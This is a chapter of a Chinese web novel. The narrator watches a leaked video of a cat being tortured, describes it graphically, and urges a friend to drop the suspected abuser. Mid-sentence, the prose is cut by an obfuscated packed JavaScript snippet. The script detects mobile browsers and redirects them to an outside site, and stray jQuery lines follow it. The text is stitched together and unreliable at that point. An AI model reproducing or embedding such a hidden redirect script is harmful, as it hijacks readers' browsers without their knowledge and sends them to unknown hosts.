在文良熙说完第一句话的时候,我浑身血液冰凉,手指竟控制不住,鬼使神差地想要打开那段视频。而接下来他的一句话,像是在头顶上倒下一桶冰水,猛然让我从迷离中清醒,那只伸出去的手骤然缩回到胸前!
这安静的环境里,我听到恶魔的低吟。
我听见我的牙齿止不住地打着颤。
我哆哆嗦嗦地表示:这段视频哪里来?
“有人给我匿名发邮箱,”文良熙继续与我解释,“当初那段视频在我下载之后可能留下了痕迹,我虽然注销了那边的号,但信息还是会被别人记住的,有心之人一定会再找到我的,网络就是这样神奇又可怕。”
我沉默不言,眼睛直勾勾地盯着屏幕。
文良熙把手机放在桌面上,不咸不淡地问了我一句:“你如果要看的话就点开。”
未播放的视频是一片黑,完全看不见里面的内容,我紧盯着那个横放的三角,再三犹豫,才缓缓伸出颤颤巍巍的手去触碰它。
突然,我的手指在屏幕前被迫停下,一只白皙细腻的手穿过我的视野,指尖上夹着蓝牙耳机:“有声音,最好是带上再看。”
我取过他手中的耳机,慢慢塞在耳里。
尖叫、嘶吼、哀嚎后的沙哑,这些尖锐的声音如同黑夜中森林里飘荡的幽灵,缥缈的身体彼此穿透,糅杂混合,在狂风骤雨到来时,伴随着枝杈上交缠不休树叶,扩散出呜咽得让人毛骨悚然的颤音。
很难想象这是同只猫发出的声音,嘶哑的声音仿佛要穿透耳膜,即便最后听着奄奄一息也依旧嘹亮。
耳朵听到的和眼睛看到的,给人的感受都是无比震撼的,但耳朵要更胜一筹。它刺穿你的耳膜,钻入你的大脑,然后抓住你无时无刻不在跳动的心脏,耳脑心的串联好像把人裹在一张密匝匝的网内,能呼吸,却也感到非常的窒息。
这种被无端折磨的苦楚让我的眼睛暂时的失明,我竟是忘记了我在看着什么。
等我想起来后,眼睛已经流泪了。
我迅速又痛苦地闭上眼睛,挪到一旁的身体弯下腰,捂起嘴巴。胃内忍不住地翻江倒海,那恐怖的嘶叫声还在持续着,它为我的大脑增添了想象的元素,尽管我拼命不去回忆刚才的画面,我的大脑仍是不听话,我越不想,它就越把我不能接受的事实摆出。
时而闪烁的彩色灯光,像血液似的暗红色的房间,堆列到占满屏幕的牢笼,被栏杆囚禁住的无辜动物。戴着黑手套的手,戴着魔鬼面具的人,向屏幕外打招呼的工具,以及洒满血液的桌子和一只奄奄一息的小猫。
那不是人,人不会使用这种魔鬼一般的凌虐手段,这根本不是人,这是恶魔!
我捂住耳朵,崩溃地蹲在收银台围成的角落里,耳畔一遍遍回放着小橘因为受不住疼痛而凄惨的哀嚎声,这声音就像是一把锋利的刀子在切割我的心脏,最后刺破它、撕裂它,看它不再跳动,血液逐渐变得干涸。
是隋语声吗……
忽然间,我的脑海中自动飘闪过这个名字,那晚我所经历的事情都清晰地浮现出水面。那种钻心入骨的恐惧让我没法忘记,当时或许我不清醒,什么都不记得,可是现在蓦然回想,那里的人、那里的物、那里的一切都好像再把我重新困在里面般历历在目。
暗红色的帷幕,与视频内的背影;堆积成墙的牢笼里锁着的动物,与视频内那些因濒临死亡而露出恐惧与麻木的眼睛,这些都和我待过的那个房间相吻合。
除此之外,最重要的是当时我没嗅到小橘的气味儿,而今回忆起来,我竟是恍惚了,我似乎察觉到记忆中的味道,那是属于小橘身上的味道啊!
想着文良熙与隋语声的关系,所以这视频才会轻而易举地传送到文良熙手中。
隋语声,虐猫犯,你到底安的什么心!
温热的手覆盖在我的手背上,我惊惶地抬起头,对上文良熙的眼睛。
他的眼睛依旧好看得可以洗涤我心中的惶恐不安,我见他轻轻撇着眉头,打量我的脸色,然后举手指了指自己的耳朵,示意我把手放松。我接收到他的指示,感受到接下来他温热的手掠过我的颤抖的耳廓,耳朵里的耳机被他取下。
他一句话都没有说,就要站起身,我像是就要被家长丢弃的孩童,仓皇不安地抓住他的胳膊,力气大得把他的手臂都掐红了。
皱着眉头的文良熙在低头看见惊恐的我后一瞬间就舒展了眉眼,他的不耐烦变成对朋友的担忧,我见他又重新蹲下与我平视。
他好奇地问我:“你看起来很痛苦。”
是的,无法控制身体点头的我恨不得把满口的牙齿咬碎,我把所有的力气都用在文良熙的身上,他的关心骤然间抽走了我的部分力量,我也不知道自己该怎么说,又或是该怎么做,就单单抓着他,可怜地望着他。
他的耐心限度很大,他没有催促,只是静静地陪着我,眼睛里的蓝愈发变得深邃。
这样被他看着,我被蛊惑似的,心中只有他太温柔的这一种想法。
然而就是这一种想法,让在我心中的他和隋语声的距离越发变得拉远起来,他与隋语声形成一种鲜明的对比,我无法忍受他交往那样的人做朋友。
我把心底最想说的话表达出:“你远离隋语声好不好,他是坏人,他是虐猫犯!”
几乎是肉眼可见的,文良熙的脸色忽然暗沉下来,那眸子的颜色最为明显,像是一场突如其来的霜雾,遮盖住原本湛蓝的天。
或许认为这是个值得关心的话题,他的温柔状逐渐被严肃取代:“你怎么知道他虐猫,没有证据的抹黑可是不礼貌的行为。”
我是在经历着惊惧的折磨,但这并不意味着我现在脑子不清醒,我是不可能把自己是一只猫的事实告诉文良熙的,自然也就不存在我将那晚亲眼目睹的事情说出去。
我把理由套在隋降宝身上,借隋降宝的目光,把隋降宝看到的一切统统都全部说给文良熙。
期间,文良熙的面色一如既往的难看。
“你是说他的弟弟看见了他发给别人有关虐猫的视频吗?”文良熙生硬道,不久过后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16559848|186912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他又忽而沉了一口气,“备注呢,那他的弟弟有没有看到他给对方的备注是什么?”
我颓丧地摇了摇头,所有的力气都早在之前烟消云散,我现在不过是骨架子罢了。
文良熙还在进一步追问:“是没有看到备注,还是说看不懂给对方备注的内容?”
我拼尽气力扭转身体,把抽屉里的本子和笔拿出,将那个备注从印象中复制下来。
“……达令?”文良熙笑了笑,可我没见得他有多开心,不真诚,甚至从这份莫名其妙的笑容中窥探出几分咬牙切齿的意味。
“我知道了。”文良熙突然这样说道。
抛开虚假的笑容,莫名其妙的表情从文良熙的脸上转移到我的面庞,我愣头愣脑地看着文良熙,那个恢复温和模样的文良熙。
兴许我的样子看着太傻,傻到不需要琢磨就能看得出我的心思,文良熙笑道:“你告诉我这件事情不就是想让我远离这种心理变态的人吗?你的理由很充分,弟弟嘛,即便再有隔阂也是一家人,相处这么多年也会彼此了解,小孩子可不会撒谎的。我会在不刺激隋语声的情况下渐渐远离他的,必要的话我也会收集他虐待动物的全部证据的。”
原本,以隋语声对待文良熙的态度,我以为文良熙一定会与我抗争,没想到单凭隋降宝这边不成型的证据,文良熙便相信了。
这份友情,难道就是这样不堪一击吗?
文良熙站直身子,临走前把自己板板正正地打理一番,他心平气和,看不出有半点儿对这份刚割舍的友谊的心痛,他的面色平静得像一池没有风拂的水,如他的眼,在此刻静得可怕,有种暴风雨欲来的深沉无波。
我的心底升起一股佩服的情绪。
如果换作是我,我是绝对无法凭借别人的三言两语就这样扔掉李应安,亦或是其他朋友,除非他把足够权威的证据全部摆在我的面前,或许事后我还会哭泣,但无法做到这样坦然。
于这份友情而言,文良熙确实值得朋友批判,可于道德与三观来说的话,一个人绝对不可以去做伤天害理、丧尽天良的事情。所有事情都应该建立在正确三观之上。
文良熙转身时,我踉跄着扶着桌面,迅速抓住不符合他身材的轻盈外衣:如果你找到证据的话,到时候可以把它给我一份吗?
文良熙对我凝眸许久,浅淡的蓝眸在睫毛的遮蔽下微微波动:“肯定告诉你的。”
他说完这句话,又像哥哥一样,把手搭在我的肩膀上,“你忙吧,到时候再说。”
我抬起手,刚要回应他的话,他的动作却比我先快一步,我只能目送他离开这里。
待文良熙走后,被视频内的画面冲击到的那股惊悚感才慢慢消失,但整个夜班我都心不在焉,甚至眼皮也总是跳跃,好像不好的事情要一个接着一个,我只能祈祷,祈祷文良熙的意图不被阴狠恶毒的隋语声发现。
临近下班,天光放亮,不知是不是昨日没有休息好的缘故,右眼皮仍是坚持跳动。
直到李应安带着一个消息匆匆到来。